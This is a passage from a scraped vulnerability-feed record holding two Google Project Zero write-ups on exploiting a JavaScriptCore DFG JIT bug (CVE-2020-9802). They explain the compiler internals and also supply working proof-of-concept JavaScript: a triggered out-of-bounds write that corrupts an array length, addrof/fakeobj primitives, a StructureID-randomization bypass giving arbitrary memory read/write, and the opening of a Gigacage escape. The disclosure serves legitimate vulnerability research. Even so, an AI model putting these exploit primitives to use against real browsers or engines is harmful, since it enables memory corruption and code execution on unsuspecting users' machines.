(-n)|0;\n\n** \n**\n\nHere, during the DFGFixupPhase, the negation of n will be [converted to an unchecked ArithNeg operation](<https://github.com/WebKit/webkit/blob/4ceb36e525b55b9d49aed0b400507d522953e025/Source/JavaScriptCore/dfg/DFGFixupPhase.cpp#L462>). The compiler is able to omit the overflow check as the only use of the negated value is the bitwise or, and that behaves the same for the overflowed and \u201ccorrect\u201d value: \n\n** \n**\n\njs> -2147483648 | 0\n\n-2147483648\n\njs> 2147483648 | 0\n\n-2147483648\n\n** \n**\n\nNext, it is necessary to construct a checked ArithNegate operation with n as its input. One interesting (why will become clear in a bit) way to obtain an ArithNegate is by having the compiler [strength-reduce](<https://en.wikipedia.org/wiki/Strength_reduction>) an [ArithAbs operation into an ArithNegate operation](<https://github.com/WebKit/webkit/blob/4ceb36e525b55b9d49aed0b400507d522953e025/Source/JavaScriptCore/dfg/DFGIntegerRangeOptimizationPhase.cpp#L1264>). This will only happen if the compiler can prove that n will be a negative number, which can easily be accomplished as DFG\u2019s IntegerRangeOptimization pass is [path-sensitive](<https://github.com/WebKit/webkit/blob/4ceb36e525b55b9d49aed0b400507d522953e025/Source/JavaScriptCore/dfg/DFGIntegerRangeOptimizationPhase.cpp#L1124>):\n\n** \n**\n\nn = n|0;\n\nif (n < 0) {\n\n// Compiler knows that n will be a negative integer here\n\n** \n**\n\nlet v = (-n)|0;\n\nlet i = Math.abs(n);\n\n}\n\n** \n**\n\nHere, during bytecode parsing, the call to Math.abs will first be [lowered to an ArithAbs operation](<https://github.com/WebKit/webkit/blob/4ceb36e525b55b9d49aed0b400507d522953e025/Source/JavaScriptCore/dfg/DFGByteCodeParser.cpp#L2324>) because the compiler is able to prove that the call will always result in the execution of the [mathAbs](<https://github.com/WebKit/webkit/blob/4ceb36e525b55b9d49aed0b400507d522953e025/Source/JavaScriptCore/runtime/MathObject.cpp#L130>) function and so replaces it with the ArithAbs operation, which has the same runtime semantics but doesn\u2019t require a function call at runtime. The compiler is in essence inlining Math.abs that way. Later, the IntegerRangeOptimization will [convert the ArithAbs to a checked ArithNegate](<https://github.com/WebKit/webkit/blob/4ceb36e525b55b9d49aed0b400507d522953e025/Source/JavaScriptCore/dfg/DFGIntegerRangeOptimizationPhase.cpp#L1264>) (the ArithNegate must be checked as INT_MIN can\u2019t be ruled out for n). As such, the two statements inside the if statement become essentially (in pseudo DFG IR):\n\n** \n**\n\nv = ArithNeg(unchecked) n\n\ni = ArithNeg(checked) n\n\n** \n**\n\nWhich, due to the bug, CSE will later turn into\n\n** \n**\n\nv = ArithNeg(unchecked) n\n\ni = v\n\n** \n**\n\nAt this point, calling the miscompiled function with INT_MIN for n will cause i to also be INT_MIN, even though it really should be a positive number. \n\n** \n**\n\nThis by itself is a correctness issue, but not yet a security issue. One (and possibly the only) way to turn this bug into a security issue is by abusing a JIT optimization already popular among security researchers: bounds-check elimination. \n\n** \n**\n\nGoing back to the IntegerRangeOptimization pass, the[ value of i was already marked as being a positive number](<https://github.com/WebKit/webkit/blob/4ceb36e525b55b9d49aed0b400507d522953e025/Source/JavaScriptCore/dfg/DFGIntegerRangeOptimizationPhase.cpp#L1392>). For [bounds check elimination to happen](<https://github.com/WebKit/webkit/blob/4ceb36e525b55b9d49aed0b400507d522953e025/Source/JavaScriptCore/dfg/DFGIntegerRangeOptimizationPhase.cpp#L1338>), however, the value must also be known to be less than the length of the array being indexed. This is easily accomplished:\n\n** \n**\n\nfunction hax(arr, n) {\n\nn = n|0;\n\nif (n < 0) {\n\nlet v = (-n)|0;\n\nlet i = Math.abs(n);\n\nif (i < arr.length) {\n\narr[i];\n\n}\n\n}\n\n}\n\n** \n**\n\nWhen now triggering the bug, i will be INT_MIN and will thus pass the comparison and perform the array access. However, the bounds check will have been removed as IntegerRangeOptimization has falsely (although it\u2019s technically not its fault) determined i to always be in bounds.\n\n** \n**\n\nBefore the bug can be triggered, the JavaScript code has to be JIT compiled. This is generally achieved simply by executing the code a large number of times. However, the indexed access into arr will only be lowered ([by the SSALoweringPhase](<https://github.com/WebKit/webkit/blob/3e4dab3947ebf4e7fc854e674b9e93c71849e9d8/Source/JavaScriptCore/dfg/DFGSSALoweringPhase.cpp#L113>)) to a CheckInBounds (that will later be removed) and an un-bounds-checked GetByVal if the [access is speculated to be in bounds](<https://github.com/WebKit/webkit/blob/087b310bd4dd3d68cff76bff8798cf60ddef1f7d/Source/JavaScriptCore/dfg/DFGArrayMode.cpp#L817>). This will not be the case if the access has frequently been observed to be out-of-bounds during interpretation or execution in baseline JIT. As such, during \u201ctraining\u201d of the function it is necessary to use sane, in-bounds indices:\n\n** \n**\n\nfor (let i = 1; i <= ITERATIONS; i++) {\n\nlet n = -4;\n\nif (i == ITERATIONS) {\n\nn = -2147483648; // INT_MIN\n\n}\n\nhax(arr, n);\n\n}\n\n \n\n\nRunning this code inside JSC will crash:\n\n** \n**\n\nlldb -- /System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc poc.js\n\n(lldb) r\n\nProcess 12237 stopped\n\n* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x1c1fc61348)\n\nframe #0: 0x000051fcfaa06f2e\n\n-> 0x51fcfaa06f2e: movsd xmm0, qword ptr [rax + 8*rcx] ; xmm0 = mem[0],zero\n\nTarget 0: (jsc) stopped.\n\n(lldb) reg read rcx\n\nrcx = 0x0000000080000000\n\n** \n**\n\nHowever, inconveniently, the out-of-bounds index (in rcx) will always be INT_MIN, thus accessing 0x80000000 * 8 = 16GB behind the array. While probably exploitable, it\u2019s not exactly the best exploit primitive to start from.\n\n** \n**\n\nThe final trick to achieve an OOB access with an arbitrary index is to subtract a constant from i which will wrap INT_MIN around to an arbitrary, positive number. As i is thought (by the DFG compiler) to always be positive, the subtraction [will become unchecked](<https://github.com/WebKit/webkit/blob/4ceb36e525b55b9d49aed0b400507d522953e025/Source/JavaScriptCore/dfg/DFGIntegerRangeOptimizationPhase.cpp#L1308>) and the overflow will thus go unnoticed.\n\n** \n**\n\nHowever, as the subtraction invalidates integer range information about the lower bound, an additional `if i > 0` check is required afterwards to again trigger bounds check removal. Also, as the subtraction would turn the integers used during training into out-of-bounds indices, it is only executed conditionally if the input value is negative. Fortunately, the DFG compiler isn\u2019t (yet) clever enough to determine that that condition should never be true in which case it could just optimize away the subtraction entirely :)\n\n** \n**\n\nWith all of that, shown below is again the function from the start, however this time with comments. When JITed and given INT_MIN for n it causes an out-of-bounds write of a controlled value (0x0000133700001337) into the [length fields](<https://github.com/WebKit/webkit/blob/4ceb36e525b55b9d49aed0b400507d522953e025/Source/JavaScriptCore/runtime/IndexingHeader.h#L130>) of a JSArray directly following arr in memory. Note that the success of this step depends on the correct heap layout. However, as the bug is powerful enough to be exploited for a controlled OOB read as well, it is possible to ensure the correct heap layout is present before triggering the memory corruption.\n\n** \n**\n\nfunction hax(arr, n) {\n\n// Force n to be a 32bit integer.\n\nn |= 0;\n\n** \n**\n\n// Let IntegerRangeOptimization know that \n\n// n will be a negative number inside the body.\n\nif (n < 0) {\n\n// Force \"non-number bytecode usage\" so the negation \n\n// becomes unchecked and as such INT_MIN will again\n\n// become INT_MIN in the last iteration.\n\nlet v = (-n)|0;\n\n** \n**\n\n// As n is known to be negative here, this ArithAbs \n\n// will become a ArithNegate. That negation will be \n\n// checked, but then be CSE'd for the previous, \n\n// unchecked one. This is the compiler bug.\n\nlet i = Math.abs(n);\n\n** \n**\n\n// However, IntegerRangeOptimization has also marked \n\n// i as being >= 0...\n\n** \n**\n\nif (i < arr.length) {\n\n// .. so here IntegerRangeOptimization now believes \n\n// i will be in the range [0, arr.length) while i \n\n// will actually be INT_MIN in the final iteration.\n\n** \n**\n\n// This condition is written this way so integer \n\n// range optimization isn't able to propagate range \n\n// information (in particular that i must be a \n\n// negative integer) into the body.\n\nif (i & 0x80000000) {\n\n// In the last iteration, this will turn INT_MIN \n\n// into an arbitrary, positive number since the\n\n// ArithAdd has been made unchecked by integer range\n\n// optimization (as it believes i to be a positive\n\n// number) and so doesn't bail out when overflowing\n\n// int32.\n\ni += -0x7ffffff9;\n\n}\n\n** \n**\n\n// This conditional branch is now necessary due to \n\n// the subtraction above. Otherwise, \n\n// IntegerRangeOptimization couldn\u2019t prove that i \n\n// was always positive.\n\nif (i > 0) {\n\n// In here, IntegerRangeOptimization again believes\n\n// i to be in the range [0, arr.length) and thus\n\n// eliminates the CheckBounds node, leading to a \n\n// controlled OOB access. This write will then corrupt\n\n// the header of the following JSArray, setting its\n\n// length and capacity to 0x1337.\n\narr[i] = 1.04380972981885e-310;\n\n}\n\n}\n\n}\n\n}\n\n## Addrof/Fakeobj\n\nAt this point, the two [low-level exploit primitives addrof and fakeobj](<http://www.phrack.org/papers/attacking_javascript_engines.html>) can be constructed. The addrof(obj) primitive returns the address (as double) of the given JavaScript object in memory:\n\n** \n**\n\nlet obj = {a: 42};\n\nlet addr = addrof(obj);\n\n// 2.211548541e-314 (0x000000010acdc250 as 64bit integer)\n\n** \n**\n\nThe fakeobj(addr) primitive returns a JSValue containing the given address as payload:\n\n** \n**\n\nlet obj2 = fakeobj(addr);\n\nobj2 === obj;\n\n// true\n\n** \n**\n\nThese primitives are useful as they basically allow two things: breaking heap ASLR so that controlled data can be placed at a known address and providing a way to construct and \u201cinject\u201d fake objects into the engine. But more on exploitation in [part 2](<https://googleprojectzero.blogspot.com/2020/09/jitsploitation-two.html>).\n\n** \n**\n\nThe two primitives can be constructed with two JSArrays with [different storage types](<https://liveoverflow.com/revisiting-javascriptcore-internals-boxed-vs-unboxed-browser-0x06/>): by overlapping a JSArray which stores (unboxed/raw) doubles with a JSArray that stores JSValues ([boxed/tagged values](<https://github.com/WebKit/webkit/blob/4ceb36e525b55b9d49aed0b400507d522953e025/Source/JavaScriptCore/runtime/JSCJSValue.h#L382>) that can for example be pointers to JSObjects): \n\n** \n**\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5WbYJs4xtgRjgNjLdUjvE5vHCbUMEsQKEV3_tbC99YaBHW5Wdxwpm8gTi_mcVCcVPYpF-UhRJDk1FSXcy4XsNJuYZbbkpZMVKhrVMrdLxGkZms4UmCCYrnD7rw8T04ZgpBzBNGjnMTRJAzSZq5Tkolntwpv6i0JOjZUei09AiT15OU6glyjCeHcmg/s1282/image1%2812%29.png>)\n\n \n\n\n** \n**\n\nThis then allows reading/writing pointer values in obj_arr as doubles through float_arr:\n\n** \n**\n\nlet noCoW = 13.37;\n\nlet target = [noCoW, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6];\n\nlet float_arr = [noCoW, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6];\n\nlet obj_arr = [{}, {}, {}, {}, {}, {}, {}];\n\n** \n**\n\n// Trigger the bug to write past the end of the target array and\n\n// thus corrupting the length of the float_arr following it\n\nhax(target, n);\n\n** \n**\n\nassert(float_arr.length == 0x1337);\n\n** \n**\n\n// (OOB) index into float_arr that overlaps with the first element \n\n// of obj_arr.\n\nconst OVERLAP_IDX = 8;\n\n** \n**\n\nfunction addrof(obj) {\n\nobj_arr[0] = obj;\n\nreturn float_arr[OVERLAP_IDX];\n\n}\n\n** \n**\n\nfunction fakeobj(addr) {\n\nfloat_arr[OVERLAP_IDX] = addr;\n\nreturn obj_arr[0];\n\n}\n\n** \n**\n\nNote the somewhat unintuitive use of the noCoW variable. It is used to prevent JSC from [allocating the arrays as copy-on-write arrays](<https://github.com/WebKit/webkit/blob/4ceb36e525b55b9d49aed0b400507d522953e025/Source/JavaScriptCore/bytecompiler/NodesCodegen.cpp#L423>), which would otherwise result in the wrong heap layout.\n\n** \n**\n\n## Conclusion\n\nI hope this was already an interesting walkthrough of a \u201cnon-standard\u201d JIT compiler bug. Please keep in mind that there are many (JIT) vulnerabilities that are much easier to exploit. On the other hand, the fact that exploitation (up to this point) wasn\u2019t trivial also allowed touching on numerous JSC and JIT compiler internals along the way.\n\n \n\n\n[Part 2](<https://googleprojectzero.blogspot.com/2020/09/jitsploitation-two.html>) will show different ways of achieving an arbitrary read/write primitive from the addrof and fakeobj primitives.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2020-09-01T00:00:00", "type": "googleprojectzero", "title": "\nJITSploitation I: A JIT Bug\n", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-9802", "CVE-2020-9870", "CVE-2020-9910"], "modified": "2020-09-01T00:00:00", "id": "GOOGLEPROJECTZERO:37BA7BA880E3167EF2FF653967274013", "href": "https://googleprojectzero.blogspot.com/2020/09/jitsploitation-one.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-07T02:00:29", "description": "Posted by Samuel Gro\u00df, Project Zero\n\n \n\n\nThis three-part series highlights the technical challenges involved in finding and exploiting JavaScript engine vulnerabilities in modern web browsers and evaluates current exploit mitigation technologies.

In [Part 1](<https://googleprojectzero.blogspot.com/2020/09/jitsploitation-one.html>), a vulnerability in the DFG JIT\u2019s implementation of Common-Subexpression Elimination was discussed. The second part starts from the well-known addrof and fakeobj primitives and shows how stable, arbitrary memory read/write can be constructed from it. For that, the StructureID randomization mitigation and the Gigacage will be discussed and bypassed. \n\n\n## Overview\n\n[Back in 2016](<http://www.phrack.org/papers/attacking_javascript_engines.html>), an attacker would use the addrof and fakeobj primitives to fake an [ArrayBuffer](<https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer>), thus immediately gaining a reliable arbitrary memory read/write primitive. But in mid 2018, WebKit introduced the \u201c[Gigacage](<https://phakeobj.netlify.app/posts/gigacage/>)\u201d, which attempts to stop abuse of ArrayBuffers in that way. The Gigacage works by moving ArrayBuffer backing stores into a 4GB heap region and using 32bit relative offsets instead of absolute pointers to refer to them, thus making it (more or less) impossible to use ArrayBuffers to access data outside of the cage.\n\n** \n**\n\nHowever, while ArrayBuffer storages are caged, JSArray [Butterflies](<https://liveoverflow.com/the-butterfly-of-jsobject-browser-0x02/>), which contain the array\u2019s elements, are not. As they [can store raw floating point values](<https://github.com/WebKit/webkit/blob/dbdff0ccefd4e4f68440c37ec19bd56e2f103649/Source/JavaScriptCore/runtime/Butterfly.h#L128>), an attacker immediately gains a fairly powerful arbitrary read/write by faking such an \u201cunboxed double\u201d JSArray. This is how various [public exploits have worked around the Gigacage in the past](<https://iokit.racing/jsctales.pdf>). (Un)fortunately, WebKit has introduced a mitigation aimed to stop an attacker from faking JavaScript objects entirely: StructureID randomization. This mitigation will thus have to be bypassed first.\n\n** \n**\n\nAs such, this post will\n\n * Explain the in-memory layout of JSObjects\n\n * Bypass the StructureID randomization to fake a JSArray object\n\n * Use the faked JSArray object to set up a (limited) memory read/write primitive\n\n * Break out of the Gigacage to get a fast, reliable, and truly arbitrary read/write primitive\n\n** \n**\n\nLet\u2019s go. \n\n## Faking Objects\n\nIn order to fake objects, one has to know their in-memory layout. A plain [JSObject](<https://github.com/WebKit/webkit/blob/dbdff0ccefd4e4f68440c37ec19bd56e2f103649/Source/JavaScriptCore/runtime/JSObject.h#L94>) in JSC consists of a [JSCell header](<https://github.com/WebKit/webkit/blob/dbdff0ccefd4e4f68440c37ec19bd56e2f103649/Source/JavaScriptCore/runtime/JSCell.h#L272>) followed by the \u201c[Butterfly](<https://github.com/WebKit/webkit/blob/dbdff0ccefd4e4f68440c37ec19bd56e2f103649/Source/JavaScriptCore/runtime/Butterfly.h#L133>)\u201d and possibly inline properties. The Butterfly is a storage buffer containing the object\u2019s properties and elements as well as the number of elements (the length):\n\n** \n**\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiehNaYl7Wi57mMTlctTKAHcw_0N8XC-kt4i_j0Iz1Z3zmeVeEEKnkN3mCj7Lzs6cuANLABAptyBsKd5GofyLd3zFE7i_8ATAdTfe5eXVGkeFIMZzGy5PZiXoZ7WzQ7YQtuy3-gf7YFQqyeLrjVcmTmQzgrICKRjs_BtSRbO0X3Qgk3Qx254Rv8gxNs/s1442/image2%289%29.png>)\n\n \n\n\nObjects such as [JSArrayBuffers](<https://github.com/WebKit/webkit/blob/dbdff0ccefd4e4f68440c37ec19bd56e2f103649/Source/JavaScriptCore/runtime/JSArrayBuffer.h#L65>) add further members to the JSObject layout. \n\n** \n**\n\nEach JSCell header references a [Structure](<https://github.com/WebKit/webkit/blob/dbdff0ccefd4e4f68440c37ec19bd56e2f103649/Source/JavaScriptCore/runtime/Structure.h#L126>) through the StructureID field in the JSCell header which is an index into the Runtime\u2019s [StructureIDTable](<https://github.com/WebKit/webkit/blob/dbdff0ccefd4e4f68440c37ec19bd56e2f103649/Source/JavaScriptCore/runtime/StructureIDTable.h#L88>). A Structure is basically a blob of type information containing information such as:\n\n * The base type of the object, such as JSObject, JSArray, JSString, JSUint8Array, \u2026\n\n * The properties of the object and where they are stored relative to the object\n\n * The size of the object in bytes\n\n * The [indexing type](<https://github.com/WebKit/webkit/blob/dbdff0ccefd4e4f68440c37ec19bd56e2f103649/Source/JavaScriptCore/runtime/IndexingType.h#L60>), which indicates the type of array elements stored in the butterfly, such as JSValue, Int32, or unboxed double, and whether they are stored as one contiguous array or in some other way, [for example in a map](<https://github.com/WebKit/webkit/blob/4ceb36e525b55b9d49aed0b400507d522953e025/Source/JavaScriptCore/runtime/SparseArrayValueMap.h#L80>).\n\n * Etc.\n\n** \n**\n\nFinally, [the remaining JSCell header bits](<https://github.com/WebKit/webkit/blob/dbdff0ccefd4e4f68440c37ec19bd56e2f103649/Source/JavaScriptCore/runtime/JSCell.h#L273>) contain things like the GC marking state and \u201ccache\u201d some of the frequently used bits of type information, such as the indexing type. The image below summarizes the in-memory layout of a plain JSObject on a 64bit architecture.\n\n** \n**\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4g2icXTjw0pm0DnBy7W99oZis7sauD52yCRjw7aXC0HP6hk1Dzx2uwMQHmXi83yKnAYnolPIpbytqdwMRiaEeNa2mFGdykClETCA9lZ8di401ZFz5fzC7n1kuHnRDQilxiHKTmy-qcyJUnaCBFgPXQt5OeUbSEZ370LXN24IqwdUvWvwNR7NwfU9y/s562/image3%287%29.png>)\n\n \n\n\n** \n**\n\nMost operations performed on an object will have to look at the object\u2019s Structure to determine what to do with the object. As such, when creating fake JSObjects, it is necessary to know the StructureID of the type of object that is to be faked. Previously, it was possible to use StructureID Spraying to predict StructureIDs. This worked by simply allocating many objects of the desired type (for example, Uint8Array) and adding a different property to each of them, causing a unique Structure and thus StructureID to be allocated for that object. Doing this maybe a thousand times would virtually guarantee that 1000 was a valid StructureID for a Uint8Array object. This is where StructureID randomization, a new exploit mitigation from [early 2019](<https://github.com/WebKit/webkit/commit/f19aec9c6319a216f336aacd1f5cc75abba49cdf>), now comes into play.\n\n** \n**\n\n## StructureID Randomization\n\nThe idea behind this exploit mitigation is straight forward: as an attacker (supposedly) needs to know a valid StructureID to fake objects, randomizing the IDs will hamper that. The exact randomization scheme is [well documented in the source code](<https://github.com/WebKit/webkit/blob/dbdff0ccefd4e4f68440c37ec19bd56e2f103649/Source/JavaScriptCore/runtime/StructureIDTable.h#L136>). With that, it is now no longer possible to predict a StructureID.\n\n** \n**\n\nThere are different approaches to bypass StructureID randomization, including:\n\n 1. Leaking a valid StructureID, e.g. [through an OOB read](<https://iokit.racing/jsctales.pdf>)\n\n 2. Abusing code that does not check the StructureID, [as has already been demonstrated](<https://i.blackhat.com/eu-19/Thursday/eu-19-Wang-Thinking-Outside-The-JIT-Compiler-Understanding-And-Bypassing-StructureID-Randomization-With-Generic-And-Old-School-Methods.pdf>)\n\n 3. Constructing a \"StructureID oracle\" to brute force a valid StructureID\n\n** \n**\n\nA possible idea for the \"StructureID oracle\" is to abuse the JIT again. One very common code pattern emitted by the compiler are StructureChecks to guard type speculations. In pseudo-C they look roughly like this: \n\n** \n**\n\nint structID = LoadStructureId(obj)\n\nif (structID != EXPECTED_STRUCT_ID) {\n\nbailout();\n\n}\n\n** \n**\n\nThis could allow the construction of a \u201cStructureID oracle\u201d: if a JIT compiled function can be constructed that checks, but then doesn\u2019t use a structure ID, then an attacker should be able to determine whether a StructureID is valid by observing whether a bailout had occurred. This in turn should be possible either through timing, or by \u201cexploiting\u201d [a correctness issue in the JIT](<https://bugs.webkit.org/show_bug.cgi?id=211900>) that causes the same code to produce different results when run in the JIT vs in the interpreter (where execution would continue after a bailout). An oracle like this would then allow an attacker to brute force a valid structure ID by predicting the incrementing index bits and brute forcing the [7 entropy bits](<https://github.com/WebKit/webkit/blob/dbdff0ccefd4e4f68440c37ec19bd56e2f103649/Source/JavaScriptCore/runtime/StructureIDTable.h#L136>).\n\n** \n**\n\nHowever, leaking a valid structureID and abusing code that doesn't check the structureID seem like the easier options. In particular, there is a [code path in the interpreter when loading elements of a JSArray](<https://github.com/WebKit/webkit/blob/4ceb36e525b55b9d49aed0b400507d522953e025/Source/JavaScriptCore/llint/LLIntSlowPaths.cpp#L1029>) that never accesses the StructureID:\n\n** \n**\n\nstatic ALWAYS_INLINE JSValue getByVal(VM& vm, JSValue baseValue, JSValue subscript)\n\n{\n\n...;\n\nif (subscript.isUInt32()) {\n\nuint32_t i = subscript.asUInt32();\n\nif (baseValue.isObject()) {\n\nJSObject* object = asObject(baseValue);\n\nif (object->canGetIndexQuickly(i))\n\nreturn object->getIndexQuickly(i);\n\n** \n**\n\nHere, getIndexQuickly directly loads the element from the butterfly, and canGetIndexQuickly only looks at the indexing type in the JSCell header (for which the values are known constants) and the length in the butterfly:\n\n** \n**\n\nbool canGetIndexQuickly(unsigned i) const {\n\nconst Butterfly* butterfly = this->butterfly();\n\nswitch (indexingType()) {\n\n...;\n\ncase ALL_CONTIGUOUS_INDEXING_TYPES:\n\nreturn i < butterfly->vectorLength() && butterfly->contiguous().at(this, i);\n\n}\n\n** \n**\n\nThis now allows faking something that looks a bit like a JSArray, pointing its backing storage pointer onto another, valid JSArray, then reading that JSArray\u2019s JSCell header which includes a valid StructureID:\n\n** \n**\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjv_IejogymgcK8dOEEC5lFOflo7LJN_cdxa5Q-Z_R5QDi0S9PnWpFSRESIbCzQzyCnLmNQvSW8fiNMKYliFr1UUqp2d--9a0wgNtj2xhdAxh97jy2GMquj7Eh_MH4ICXgQpK7wyVu7nQoi5ubjj6F6lueqQvDMtGaw_paEQrm2wmAP8DwfqKoGbjYM/s1833/image1%2813%29.png>)\n\n \n\n\n** \n**\n\nAt that point, the StructureID randomization is fully bypassed.\n\n \n\n\nThe following JavaScript code implements this, faking the object as usual by (ab)using inline properties of a \u201ccontainer\u201d object:\n\n** \n**\n\nlet container = {\n\njscell_header: jscell_header,\n\nbutterfly: legit_float_arr,\n\n};\n\n** \n**\n\nlet container_addr = addrof(container);\n\n// add offset from container object to its inline properties\n\nlet fake_array_addr = Add(container_addr, 16); \n\nlet fake_arr = fakeobj(fake_array_addr);\n\n** \n**\n\n// Can now simply read a legitimate JSCell header and use it.\n\njscell_header = fake_arr[0];\n\ncontainer.jscell_header = jscell_header;\n\n** \n**\n\n// Can read/write to memory now by corrupting the butterfly\n\n// pointer of the float array.\n\nfake_arr[1] = 3.54484805889626e-310; // 0x414141414141 in hex\n\nfloat_arr[0] = 1337;\n\n** \n**\n\nThis code will crash while accessing memory around 0x414141414141. As such, the attacker has now gained an arbitrary memory read/write primitive, albeit a slightly limited one:\n\n * Only valid double values can be read and written\n\n * As the Butterfly also stores its own length, it is necessary to position the butterfly pointer such that its length appears large enough to access the desired data\n\n## A Note on Exploit Stability\n\nRunning the current exploit would yield memory read/write, but would likely crash soon after when the garbage collector runs the next time and scans all reachable heap objects.\n\n** \n**\n\nThe general approach to achieve exploit stability is to keep all heap objects in a functioning state (one that will not cause the GC to crash when it scans the object and visits all outgoing pointers), or, if that is not possible, to repair them as soon as possible after corruption. In the case of this exploit, the fake_arr is initially \u201cGC unsafe\u201d as it contains an invalid StructureID. When its JSCell is later replaced with a valid one (container.jscell_header = jscell_header;) the faked object becomes \u201cGC safe\u201d as it appears like a valid JSArray to the GC.\n\n** \n**\n\nHowever, there are some edge cases that can lead to corrupted data being stored in other places of the engine as well. For example, the array load in the previous JavaScript snippet (jscell_header = fake_arr[0];) will be performed by a get_by_val bytecode operation. This operation also [keeps a cache of the last seen structure ID](<https://github.com/WebKit/webkit/blob/b4adcb485cc8812a374bc1d57c66692d2a67399b/Source/JavaScriptCore/llint/LowLevelInterpreter.asm#L1156>), which is used to build the value profiles relied on by the JIT compiler. This is problematic, as the structure ID of the faked JSArray is invalid and will thus lead to crashes, for example when the GC scans the bytecode caches. However, the fix is fortunately fairly easy: execute the same get_by_val op twice, the second time with a valid JSArray, whose StructureID will then be cached instead:\n\n** \n**\n\n...\n\nlet fake_arr = fakeobj(fake_array_addr);\n\nlet legit_arr = float_arr;\n\nlet results = [];\n\nfor (let i = 0; i < 2; i++) {\n\nlet a = i == 0 ? fake_arr : legit_arr;\n\nresults.push(a[0]);\n\n}\n\njscell_header = results[0];\n\n...\n\n** \n**\n\nDoing this makes the current exploit stable across GC executions.\n\n## Breaking out of the (Giga-)Cage\n\nNote: this part is mostly a fun exercise in JIT exploitation and not strictly required for the exploit as it has already constructed a strong enough read/write primitive. However, it makes the exploit faster as the read/write gained from this is more performant and also truly arbitrary.\n\n** \n**\n\nSomewhat contrary to the description at the beginning of this post, ArrayBuffers in JSC are actually protected by two separate mechanisms:\n\n** \n**\n\nThe [Gigacage](<https://github.com/WebKit/webkit/commit/d2bbe276796add2f96b13717d703f86a588409c5>): a multi-GB virtual memory region in which the backing storage buffers of TypedArrays (and some other objects) are allocated. Instead of a 64bit pointer, the backing storage pointer is now basically a 32bit offset from the base of the cage, preventing access outside of it.\n\n** \n**\n\nThe [PACCage](<https://github.com/WebKit/webkit/commit/9c4ecbe9414676e1a4548db96021fbeeaa240df7>): In addition to the Gigacage, TypedArray [backing store pointers](<https://github.com/WebKit/webkit/blob/b4adcb485cc8812a374bc1d57c66692d2a67399b/Source/JavaScriptCore/runtime/JSArrayBufferView.h#L107>) are now also protected through pointer authentication code ([PAC](<https://support.apple.com/guide/security/pointer-authentication-codes-seca5759bf02/web>)) where available, preventing tampering with them on the heap as an attacker will generally be unable to forge a valid PAC signature. \n\n** \n**\n\nThe exact scheme used to combine the Gigacage and the PACCage is documented for example in commit [205711404e](<https://github.com/WebKit/webkit/commit/205711404e0cc1fe8a9566ca2970603ec37c8f0f>). With that, TypedArrays are essentially doubly-protected and so evaluating whether they can still be abused for read/write seemed like a worthwhile endeavour. One place to look for potential issues is again in the JIT as it has special handling for TypedArrays to boost performance.\n\n** \n**\n\n### TypedArrays in DFG\n\nConsider the following JavaScript code.\n\n** \n**\n\nfunction opt(a) {\n\nreturn a[0];\n\n}\n\n** \n**\n\nlet a = new Uint8Array(1024);\n\nfor (let i = 0; i < 100000; i++) opt(a);\n\n** \n**\n\nWhen optimizing in DFG, the opt function would be translated to roughly the following DFG IR (with many details omitted):\n\n** \n**\n\nCheckInBounds a, 0\n\nv0 = GetIndexedPropertyStorage\n\nv1 = GetByVal v0, 0\n\nReturn v1\n\n** \n**\n\nWhat is interesting about this is the fact that the access to the TypedArray has been split into three different operations: a bounds check on the index, a GetIndexedPropertyStorage operation, responsible for [fetching and uncaging the backing storage pointer](<https://github.com/WebKit/webkit/blob/909d1c0d841c7810ca7dd108e5b3e01ed71dcb85/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp#L7293>), and a GetByVal operation which will essentially translate to a single memory load instruction. The above IR would then result in machine code looking roughly as follows, assuming that r0 held the pointer to the TypedArray a:\n\n** \n**\n\n; bounds check omitted\n\nLda r2, [r0 + 24];\n\n; Uncage and unPAC r2 here\n\nLda r0, [r2]\n\nB lr\n\n** \n**\n\nHowever, what would happen if no general purpose register was available for GetIndexedPropertyStorage to store the raw pointer into? In that case, the pointer would have to be spilled to the stack. This could then allow an attacker with the ability to corrupt stack memory to break out of both cages by modifying the spilled pointer on the stack before it is used to access memory by a GetByVal or SetByVal operation.\n\n** \n**\n\nThe rest of this blog post will describe how such an attack can be implemented in practice. For that, three main challenges have to be solved:\n\n 1. Leaking a stack pointer in order to then find and corrupt spilled values on the stack\n\n 2. Separating the GetIndexedPropertyStorage from the GetByVal operation so that code that modifies the spilled pointer can execute in between\n\n 3. Forcing the uncaged storage pointer to be spilled to the stack\n\n** \n**\n\n### Finding the Stack\n\nAs it turns out, finding a pointer to the stack in JSC given an arbitrary heap read/write is fairly easy: The [topCallFrame](<https://github.com/WebKit/webkit/blob/b4adcb485cc8812a374bc1d57c66692d2a67399b/Source/JavaScriptCore/runtime/VM.h#L656>) member of the VM object is actually a pointer into the stack, as the JSC interpreter makes use of the native 